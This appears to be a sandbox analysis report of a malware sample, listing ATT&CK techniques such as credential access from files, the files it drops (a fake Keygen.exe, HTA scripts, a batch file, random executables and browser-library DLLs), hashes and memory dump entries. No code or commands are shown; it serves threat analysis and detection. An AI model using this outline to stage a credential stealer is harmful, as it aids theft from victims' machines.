MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\ProgramData\freebl3.dll

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C:\ProgramData\mozglue.dll

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C:\ProgramData\mozglue.dll

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C:\ProgramData\msvcp140.dll

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C:\ProgramData\nss3.dll
MD5
bfac4e3c5908856ba17d41edcd455a51

SHA1
8eec7e888767aa9e4cca8ff246eb2aacb9170428

SHA256
e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78

SHA512
2565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66

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C:\ProgramData\nss3.dll
MD5
bfac4e3c5908856ba17d41edcd455a51

SHA1
8eec7e888767aa9e4cca8ff246eb2aacb9170428

SHA256
e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78

SHA512
2565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66

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C:\ProgramData\softokn3.dll

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C:\ProgramData\sqlite3.dll

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C:\ProgramData\sqlite3.dll

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C:\ProgramData\vcruntime140.dll

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C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Temp\1216.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\1216.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\1216.tmp\b.hta

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C:\Users\Admin\AppData\Local\Temp\1216.tmp\b1.hta

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C:\Users\Admin\AppData\Local\Temp\1216.tmp\ba.hta

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C:\Users\Admin\AppData\Local\Temp\1216.tmp\ba1.hta

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C:\Users\Admin\AppData\Local\Temp\1216.tmp\m.hta

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C:\Users\Admin\AppData\Local\Temp\1216.tmp\m1.hta

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C:\Users\Admin\AppData\Local\Temp\1216.tmp\start.bat

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Public\fgi.exe

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C:\Users\Public\fgi.exe

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C:\Users\Public\fgi.exe

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C:\Users\Public\laj.exe

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C:\Users\Public\laj.exe

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C:\Users\Public\laj.exe

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C:\Users\Public\tvu.exe

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C:\Users\Public\tvu.exe

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\ProgramData\mozglue.dll

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\ProgramData\mozglue.dll

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\ProgramData\nss3.dll
MD5
bfac4e3c5908856ba17d41edcd455a51

SHA1
8eec7e888767aa9e4cca8ff246eb2aacb9170428

SHA256
e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78

SHA512
2565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66

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\ProgramData\nss3.dll
MD5
bfac4e3c5908856ba17d41edcd455a51

SHA1
8eec7e888767aa9e4cca8ff246eb2aacb9170428

SHA256
e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78

SHA512
2565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66

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\ProgramData\sqlite3.dll

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\ProgramData\sqlite3.dll

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memory/904-0-0x0000000000000000-mapping.dmp

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memory/1052-20-0x0000000000000000-mapping.dmp

Download
memory/1260-3-0x0000000000000000-mapping.dmp

Download
memory/1260-2-0x0000000000000000-mapping.dmp

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memory/1576-138-0x0000000000000000-mapping.dmp

Download
memory/1584-6-0x0000000000000000-mapping.dmp

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memory/2160-13-0x0000000000000000-mapping.dmp

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memory/2448-37-0x00000000071C0000-0x00000000071C1000-memory.dmp

Filesize
4KB

Download
memory/2448-22-0x00000000704B0000-0x0000000070B9E000-memory.dmp

Filesize
6.9MB

Download
memory/2448-33-0x0000000007120000-0x0000000007121000-memory.dmp

Filesize
4KB

Download
memory/2448-43-0x0000000007B00000-0x0000000007B01000-memory.dmp

Filesize
4KB

Download
memory/2448-14-0x0000000000000000-mapping.dmp

Download
memory/2720-23-0x00000000704B0000-0x0000000070B9E000-memory.dmp

Filesize
6.9MB

Download
memory/2720-15-0x0000000000000000-mapping.dmp

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memory/2720-25-0x0000000004DE0000-0x0000000004DE1000-memory.dmp

Filesize
4KB

Download
memory/2956-10-0x0000000000000000-mapping.dmp

Download
memory/3196-9-0x0000000000000000-mapping.dmp

Download
memory/3476-147-0x0000000000400000-0x0000000000498000-memory.dmp

Filesize
608KB

Download
memory/3476-142-0x0000000000400000-0x0000000000498000-memory.dmp

Filesize
608KB

Download
memory/3476-143-0x000000000043FCC3-mapping.dmp

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memory/3748-172-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

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memory/3748-170-0x0000000000417A8B-mapping.dmp

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memory/3796-24-0x00000000704B0000-0x0000000070B9E000-memory.dmp

Filesize
6.9MB

Download
memory/3796-29-0x00000000075F0000-0x00000000075F1000-memory.dmp

Filesize
4KB

Download
memory/3796-19-0x0000000000000000-mapping.dmp

Download
memory/4004-84-0x0000000009FE0000-0x0000000009FE1000-memory.dmp

Filesize
4KB

Download
memory/4004-39-0x0000000007EC0000-0x0000000007EC1000-memory.dmp

Filesize
4KB

Download
memory/4004-18-0x0000000000000000-mapping.dmp

Download
memory/4004-101-0x000000000AB60000-0x000000000AB61000-memory.dmp

Filesize
4KB

Download
memory/4004-21-0x00000000704B0000-0x0000000070B9E000-memory.dmp

Filesize
6.9MB

Download
memory/4004-100-0x0000000009810000-0x0000000009811000-memory.dmp

Filesize
4KB

Download
memory/4004-99-0x0000000009D10000-0x0000000009D11000-memory.dmp

Filesize
4KB

Download
memory/4004-87-0x0000000009590000-0x0000000009591000-memory.dmp

Filesize
4KB

Download
memory/4004-57-0x0000000008960000-0x0000000008961000-memory.dmp

Filesize
4KB

Download
memory/4004-55-0x00000000080A0000-0x00000000080A1000-memory.dmp

Filesize
4KB

Download
memory/4004-68-0x00000000088E0000-0x00000000088E1000-memory.dmp

Filesize
4KB

Download
memory/4008-17-0x0000000000000000-mapping.dmp

Download
memory/4184-117-0x0000000000000000-mapping.dmp

Download
memory/4188-174-0x000000000041A684-mapping.dmp

Download
memory/4276-50-0x0000000000000000-mapping.dmp

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memory/4308-52-0x0000000000000000-mapping.dmp

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memory/4412-61-0x00000000704B0000-0x0000000070B9E000-memory.dmp

Filesize
6.9MB

Download
memory/4412-53-0x0000000000000000-mapping.dmp

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memory/4432-54-0x0000000000000000-mapping.dmp

Download
memory/4432-62-0x00000000704B0000-0x0000000070B9E000-memory.dmp

Filesize
6.9MB

Download
memory/4444-129-0x0000000000000000-mapping.dmp

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memory/4556-132-0x0000000000000000-mapping.dmp

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memory/4596-149-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

Download
memory/4596-152-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

Download
memory/4596-150-0x0000000000417A8B-mapping.dmp

Download
memory/4764-153-0x0000000000400000-0x0000000000425000-memory.dmp

Filesize
148KB

Download
memory/4764-157-0x0000000000400000-0x0000000000425000-memory.dmp

Filesize
148KB

Download
memory/4764-154-0x000000000041A684-mapping.dmp

Download
memory/4844-155-0x0000000000000000-mapping.dmp

Download
memory/4872-158-0x0000000000000000-mapping.dmp

Download
memory/4972-166-0x000000000043FCC3-mapping.dmp

Download
memory/4972-168-0x0000000000400000-0x0000000000498000-memory.dmp

Filesize
608KB

Download
memory/5028-102-0x0000000000000000-mapping.dmp

Download
memory/5028-105-0x00000000704B0000-0x0000000070B9E000-memory.dmp

Filesize
6.9MB

Download
memory/5028-106-0x0000000000FC0000-0x0000000000FC1000-memory.dmp

Filesize
4KB

Download
memory/5028-203-0x0000000005D20000-0x0000000005DD0000-memory.dmp

Filesize
704KB

Download
memory/5028-204-0x00000000063F0000-0x00000000063F1000-memory.dmp

Filesize
4KB

Download